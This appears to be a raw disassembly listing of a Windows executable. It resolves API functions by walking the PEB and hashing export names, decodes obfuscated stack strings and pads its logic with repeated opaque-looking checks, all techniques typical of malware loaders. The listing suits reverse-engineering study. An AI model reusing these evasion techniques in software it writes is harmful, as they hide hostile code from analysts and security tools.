lea r8, [rsp + 0x2660]
lea ecx, [r9 - 0x14]
call qword [sym.imp.WS2_32.dll_inet_ntop]
inc edi
jmp 0x14003c558
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14003c7ca
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14003c7ca
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x14003c7c5
mov ecx, 0xc1e85551
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14003c7a0
cmp ecx, 0x71c153c4
je 0x14003c928
test r8d, r8d
jne 0x14003c770
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x14003c7e0
cmp qword [rax + 0x30], 0
je 0x14003c7e0
mov al, 1
jmp 0x14003c7e2
xor al, al
test al, al
jne 0x14003c740
xor edx, edx
mov rcx, qword [rsp + 0x1578]
call rdx
mov rcx, qword [0x14007d260]
test rcx, rcx
jne 0x14003c9fc
xor r11d, r11d
mov r10d, 0x13b2a720
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14003c890
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x924b300b
cmp rcx, r8
je 0x14003c887
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x14003c870
cmp edx, r11d
jne 0x14003c9cd
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14003c9cd
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14003c9cd
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r15]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x924b300b
test al, al
je 0x14003c919
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14003c900
cmp ecx, r10d
je 0x14003c946
test r8d, r8d
jne 0x14003c8d0
jmp 0x14003c9cd
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14003c7ec
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
cmp rcx, rdi
jbe 0x14003c96f
lea rax, [rdi + r12]
cmp rcx, rax
jae 0x14003c96f
mov al, 1
jmp 0x14003c971
xor al, al
test al, al
je 0x14003c9ef
mov r11d, 0x924b300b
mov r10d, r11d
movzx eax, byte [rcx]
cmp al, 0x2e
je 0x14003c9a7
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rcx
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x14003c990
inc rcx
movzx eax, byte [rcx]
cmp al, 0
je 0x14003c9c9
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x14003c9b1
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x14003c9e3
cmp qword [rax + 0x30], 0
je 0x14003c9e3
mov al, 1
jmp 0x14003c9e5
xor al, al
test al, al
jne 0x14003c830
xor ecx, ecx
mov qword [0x14007d260], rcx
mov r12d, 7
call rcx
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003caf4
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003caf4
mov eax, r12d
jmp 0x14003cb8d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003cb86
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx edx, al
imul edx, ebx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14003cb8d
mov eax, dword [rsp + 0x167c]
xor r14d, r14d
cmp r14d, eax
jge 0x14003b785
lea rdx, [rsp + 0x2660]
jmp 0x14003c531
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx edx, al
imul edx, ebx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003cc38
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14003cc3f
mov ebx, dword [rsp + 0x167c]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003d8fa
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003d8fa
mov rcx, r14
mov eax, dword [0x14007d2d4]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx edx, al
imul edx, ebx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003cd95
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003cd95
mov ebx, r12d
jmp 0x14003ce2e
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx edx, al
imul edx, ebx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003ce27
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14003ce2e
mov ebx, dword [rsp + 0x167c]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003d8fa
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*4]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003d8fa
mov rcx, r14
mov eax, dword [0x14007d2d0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003cf82
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003cf82
mov ebx, r12d
jmp 0x14003d01d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003d016
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14003d01d
mov ebx, dword [rsp + 0x167c]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
movsx edx, al
imul edx, edi
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003d8fa
mov byte [rsp + 0x860], 0x8c
mov byte [rsp + 0x861], 0x8d
mov byte [rsp + 0x862], 0x8a
mov byte [rsp + 0x863], 0x8b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x864], xmm0
mov qword [rsp + 0x874], rax
mov word [rsp + 0x87c], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1e
jae 0x14003d107
movabs r8, 0xfa9ab835f822576a
nop dword [rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x860]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x1a
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x860], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1e
jb 0x14003d0c0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov eax, ebx
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003d6b9
mov rbx, qword [0x14007d160]
test rbx, rbx
jne 0x14003d32a
mov r11d, r14d
mov r10d, 0x23ea0845
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop dword [rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14003d1e0
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x428c9cfe
cmp rcx, r8
je 0x14003d1d7
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x14003d1c0
cmp edx, r11d
jne 0x14003d2fd
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14003d2fd
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14003d2fd
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r15]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x428c9cfe
test al, al
je 0x14003d269
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14003d250
cmp ecx, r10d
je 0x14003d278
test r8d, r8d
jne 0x14003d220
jmp 0x14003d2fd
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, rdi
jbe 0x14003d2a1
lea rax, [rdi + r12]
cmp rbx, rax
jae 0x14003d2a1
mov al, 1
jmp 0x14003d2a3
xor al, al
test al, al
je 0x14003d3f9
mov r11d, 0x428c9cfe
mov r10d, r11d
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x14003d2d7
nop dword [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x14003d2c0
inc rbx
movzx eax, byte [rbx]
cmp al, 0
je 0x14003d2f9
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x14003d2e1
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x14003d313
cmp qword [rax + 0x30], 0
je 0x14003d313
mov al, 1
jmp 0x14003d315
xor al, al
test al, al
jne 0x14003d180
xor r14d, r14d
mov ebx, r14d
mov qword [0x14007d160], rbx
lea r8, [rsp + 0x1c18]
xor edx, edx
xor ecx, ecx
call rbx
mov rcx, r14
test eax, eax
sete cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003d401
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003d401
mov ebx, 7
jmp 0x14003d49c
xor r14d, r14d
jmp 0x14003d323
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003d495
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14003d49c
mov ebx, dword [rsp + 0x167c]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003d6b9
mov r9d, 0x16
lea r8, [rsp + 0x2678]
lea rdx, [rsp + 0x1c24]
lea ecx, [r9 - 0x14]
call qword [sym.imp.WS2_32.dll_inet_ntop]
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003d5ff
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003d5ff
mov eax, 7
jmp 0x14003d69a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003d693
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14003d69a
mov eax, dword [rsp + 0x167c]
cmp r14d, eax
jge 0x14003d6b9
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x1b28]
call fcn.140001d00
jmp 0x14003d8ef
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003d7b1
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003d7b1
mov eax, 7
jmp 0x14003d84c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003d845
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14003d84c
mov eax, dword [rsp + 0x167c]
cmp r14d, eax
jge 0x14003d8fa
mov byte [rsp + 0x8a0], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x8a1], xmm0
mov dword [rsp + 0x8b1], eax
mov word [rsp + 0x8b5], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x17
jae 0x14003d8da
movabs rbx, 0xf51fcf1168b05d51
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x8a0]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x37
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x8a0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x17
jb 0x14003d893
lea rdx, [rsp + 0x8a0]
lea rcx, [rsp + 0x1b28]
call fcn.140001d00
or dword [rsp + 0xa0], 0x800
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140040bae
mov rcx, r14
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
